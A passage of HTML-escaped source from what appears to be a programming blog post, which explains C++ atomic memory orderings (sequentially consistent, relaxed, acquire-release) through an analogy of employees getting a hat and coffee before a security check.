    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;WearHat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;HoldCoffee&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;CheckHatAndCoffee&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="cm"&gt;/* wait till employee gets a hat */&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="cm"&gt;/* wait till employee gets a coffee */&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;EmployeeEnter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WearHat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HoldCoffee&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CheckHatAndCoffee&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry denied"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry granted with hip level: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you follow the code, you’ll notice that there is no way an employee
can be denied an entry. No matter how long an employee takes to get a
coffee or a hat, as soon as he does one thing the observing security
personnel will check the other item, if they have it good, otherwise
whenever they get the other item the second security will activate and
this time employee will definitely pass the test, as they already have
the first item.&lt;/p&gt;

&lt;p&gt;Company B follows the unordered memory model.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;unordered&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="cm"&gt;/* wait till employee gets a coffee */&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;EmployeeEnter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry denied"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry granted with hip level: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;They came up with the idea that they don’t really need two security
personnels. What they instead do is that they instruct their employees
to wear a hat and get coffee. So, the security system has to only test for the
coffee, because the employee must already have the hat by then. But this
can procedure can fail, some of the employees can be denied entry. This
is because the operations aren’t sequentially consistent anymore. When
an employee is instructed to &lt;code class="language-plaintext highlighter-rouge"&gt;GetThings()&lt;/code&gt;, the employee sees it as there
are 2 tasks they have to complete in &lt;em&gt;relaxed&lt;/em&gt; manner, that is, perform
whatever seems convenient. The employee has no idea if any other thread
is monitoring its activities. It just cares enough that by the time it
has to exit &lt;code class="language-plaintext highlighter-rouge"&gt;GetThings()&lt;/code&gt; it need to have executed both the tasks. So, in
case the employee feels like getting the coffee first and then the hat,
there’s nobody stopping them. While, the security system is under
false impression that whenever a employee has a coffee in their hands
they must also have a hat on their heads. So every once in a while the
security system can encounter an employee that has a coffee in his hands but
not hat yet, but the security system doesn’t waits for the employee to get the
hat and instead immediately runs them through the door, which obviously
denies them the entry. And it’s all due to the misunderstood relaxed
memory ordering.&lt;/p&gt;

&lt;p&gt;Company C learns the lessons from both companies A and B, and wants to
get the best of both worlds. So it adopts the lock based memory model.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_release&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_acquire&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="cm"&gt;/* wait till employee gets a coffee */&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;EmployeeEnter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

